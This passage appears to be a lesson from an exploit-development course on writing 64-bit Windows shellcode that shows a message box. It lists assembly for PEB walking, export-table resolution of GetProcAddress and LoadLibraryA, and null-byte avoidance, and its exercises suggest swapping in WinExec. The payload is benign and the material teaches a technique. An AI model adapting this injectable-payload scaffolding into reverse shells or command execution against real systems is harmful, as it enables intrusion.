MessageBox Shellcode
With the foundational knowledge in place, we can now proceed to construct shellcode that accomplishes the task of displaying a basic message box.
Writing shellcode to display a message box might seem a bit pointless but it includes all the elements needed to write more complex shellcode, such as a reverse shell.
To display a message box we are required to do the following:
Find the base address of
kernel32.dll
.Resolve the
GetProcAddress
VMA.Call
GetProcAddress
to get the VMA ofLoadLibraryA
.Load the
user32.dll
module using aLoadLibraryA
call.Call
GetProcAddress
to get the VMA ofMessageBoxA
.Call
MessageBoxA
to display our message.Call
GetProcAddress
to get the VMA ofTerminateProcess
.Call
TerminateProcess
to terminate our process.
We have discussed all of these in previous sections, the shellcode is presented in the following small chunks.
Whilst working through these sections you should test it with Windbg preview, using the workflow presented or your own. As you build the shellcode up, insert breakpoints and examine registers and memory to ensure what you expect to be there is there.
Groundwork
The first chunk has been discussed in depth and will not be discussed further. It locates kernel32.dll
, resolves the VMA of GetProcAddress
and prepares us for the rest of the shellcode:
BITS 64
SECTION .text
global main
main:
push rbp ;
and rsp, 0FFFFFFFFFFFFFFF0h ; Align the stack to a multiple of 16 bytes
mov rbp, rsp ;
sub rsp, 0x64 ; 100 bytes of shadow space
find_kernel32:
xor rcx, rcx ; RCX = 0
mov rax, [gs:rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = PEB->Ldr.InMemOrder
lodsq ; RAX = Second module(NTDLL)
xchg rax, rsi ; RAX = RSI, RSI = RAX
lodsq ; RAX = Third(kernel32)
mov rbx, [rax + 0x20] ; RBX = Base address
get_function_address:
lea rsi, [rel get_function + 0x41414141]
; POP the function address in to RSI
sub rsi, 0x41414141 ;
mov [rbp-0x20], rsi ; [RBP-0x20] = get_function address
jmp start ;
get_function:
xor r8, r8 ; R8 = 0
mov r8d, [rbx + 0x3c] ; R8D = DOS->e_lfanew offset
mov rdx, r8 ; RDX = DOS->e_lfanew
add rdx, rbx ; RDX = PE Header
add rdx, 0x44 ; add 0x44 to RDX to avoid null bytes
add rdx, 0x44 ; add 0x44 to RDX to avoid null bytes
mov r8d, [rdx] ; R8D = Offset export table - was [rdx + 0x88]
add r8, rbx ; R8 = Export table
xor rsi, rsi ; Clear RSI
mov esi, [r8 + 0x20] ; RSI = Offset namestable
add rsi, rbx ; RSI = Names table
xor rcx, rcx ; RCX = 0
next_function_name:
inc rcx ; Increment the ordinal
xor rax, rax ; RAX = 0
mov eax, [rsi + rcx * 4] ; Get name offset
add rax, rbx ; Get function name
cmp qword [rax], r9 ; Does it match the function name in R9 ?
jnz next_function_name ;
found_function:
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x24] ; ESI = Offset ordinals
add rsi, rbx ; RSI = Ordinals table
mov cx, [rsi + rcx * 2] ; Number of function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x1c] ; Offset address table
add rsi, rbx ; ESI = Address table
xor rdx, rdx ; RDX = 0
mov edx, [rsi + rcx * 4] ; EDX = Pointer(offset)
add rdx, rbx ; RDX = Function Address
mov rdi, rdx ; Save Function Address in RDI
ret ;
start:
get_getprocaddress:
mov r9, 0x41636f7250746547 ; GetProcA (in ASCII AcorPteG)
call QWORD [rbp-0x20] ; CALL get_function
mov [rbp-0x18], rdi ; [RBP-0x18] = *GetProcAddress
This shellcode snippet can be used as a foundation for a lot of user land shellcode.
LoadLibraryA
The next snippet will get the VMA of LoadLibraryA
. We will do this by calling the GetProcAddress
function. The syntax for this call is shown below:
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
Remember, when calling a function in 64-bit Windows the first parameter is passed in via the rcx
register, and the second parameter is passed in using the rdx
register:
The
hModule
parameter is passed in thercx
register.The
lpProcName
parameter is passed in therdx
register.
hModule
is the module/DLL where the function resides, in this case kernel32.dll
(we already have the base address for this module in rbx
). lProcName
is a pointer to a string; this means we need to place "LoadLibraryA" somewhere in memory and put a pointer to it in rdx
:
call_getprocaddress_loadlibrarya:
mov [rbp-0x28], rbx ; [RBP-0x28] = Kernel32 base address
mov rcx, [rbp-0x28] ; RCX = hModule = Kernel32 base address
mov rax, 0x41797261 ;
push rax ;
mov rax, 0x7262694c64616f4c ;
push rax ;
mov rdx, rsp ; RDX = lpProcName = LoadLibraryA
sub rsp, 0x2c ; Allocate stack space for the function call
; (+ alignment)
call [rbp-0x18] ; CALL GetProcAddress
add rsp, 0x2c ; Clean up allocated space
add rsp, 0x10 ; Clean up LoadLibraryA on stack
mov [rbp-0x30], rax ; [RBP=0x30] = *LoadLibraryA
On line 2
we store the base address of kernel32
in the memory at rbx-0x28
. This isn't strictly necessary in this instance but there might be times when we may need to reference it later.
On line 3
the base address is placed in to rcx
which is the hModule
parameter.
The string "LoadLibraryA" is pushed on to the stack in reverse order and a pointer to the string is moved in to rdx
via rsp
(which points to the string that was just pushed on to the stack). This is done on lines 4
through 8
.
The call is made on line 11
and the return value (the VMA of the function) is stored in [rbx-0x30]
on line 14
.
We now have a reference to the LoadLibraryA
function.
User32.DLL
This snippet uses the LoadLibraryA
function to load the user32.dll
module in to memory and return the base address. We will use this to locate the VMA for the MessageBoxA
function.
The syntax for this call is shown below:
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
This call is very simple and only has one paramater, which is a pointer to a string and is moved in to the rcx
register:
call_loadlibrarya_user32.dll:
mov rax, 0x6c6c ; PUSH user32.dll
push rax ;
mov rax, 0x642e323372657375 ;
push rax ;
mov rcx, rsp ; RCX = lpLibFileName = user32.dll
sub rsp, 0x2c ; Allocate stack space for the function call (+ allignment)
call [rbp-0x30] ; CALL LoadLibraryA
add rsp, 0x2c ; Clean up allocated space
add rsp, 0x10 ; Clean up user32.dll on stack
Lines 2
through 6
push the string on to the stack and move the pointer in to the rcx
register. Line 8
calls LoadLibraryA
(remember from the previous section that [rbp-0x30]
holds the address for the function LoadLibraryA
.
The function returns the base address of the module in the rax
register, which we will use next.
MessageBoxA
The next snippet gets the VMA of MessageBoxA
by calling the GetProcAddress
function. This should be familiar by now and does not require any explanation:
call_getprocaddress_messageboxa:
mov rcx, rax ; RCX = hModule = User32 base address
mov rax, 0x41786f ;
push rax ;
mov rax, 0x426567617373654d ;
push rax ;
mov rdx, rsp ; RDX = lpProcName = MessageBoxA
sub rsp, 0x2c ; Allocate stack space for the function call (+ alignment)
call [rbp-0x18] ; CALL GetProcAddress
add rsp, 0x2c ; Clean up allocated space
add rsp, 0x10 ; Clean up MessageBoxA on stack
mov r10, rax ; R10 = *MessageBoxA
Finally we make the call to MessageBoxA
. The syntax for the call is shown below:
int MessageBoxA(
[in, optional] HWND hWnd,
[in, optional] LPCSTR lpText,
[in, optional] LPCSTR lpCaption,
[in] UINT uType
);
This was discussed in the Calling Conventions section, but let's recap. When calling the MessageBoxA
function:
The
hWnd
parameter is passed in thercx
register.The
lpText
parameter is passed in therdx
register.The
lpCaption
parameter is passed in ther8
register.The
uType
parameter is passed in ther9
register.
The shellcode is shown below:
; the address of MessageBoxA is in r10
call_messagebox:
xor rax, rax ; RAX = 0
mov rcx, rax ; RCX = hWnd = NULL
mov r9, rax ; R9 = uType = NULL (default)
mov rax, 0x6e6f697461 ; PUSH string on to the stack
push rax ; .
mov rax, 0x74696f6c70784520 ; .
push rax ; .
mov rax, 0x73776f646e695720 ; .
push rax ; .
mov rax, 0x6465636e61766441 ; .
push rax ; ---
mov rdx, rsp ; RDX = lpText
mov r8, rdx ; R8 = lpCaption
sub rsp, 0x2c ; align the stack for the call
call r10 ; CALL R10 (MessageBoxA)
Exercises
Complete the shellcode to call the
TerminateProcess
function.Write the MessageBox shellcode out and debug it in Windbg Preview.
Change the
MessageBoxA
call for aWinExec
call.Tidy up the shellcode; the
LoadLibraryA
function is not needed for exercise 2.
Last updated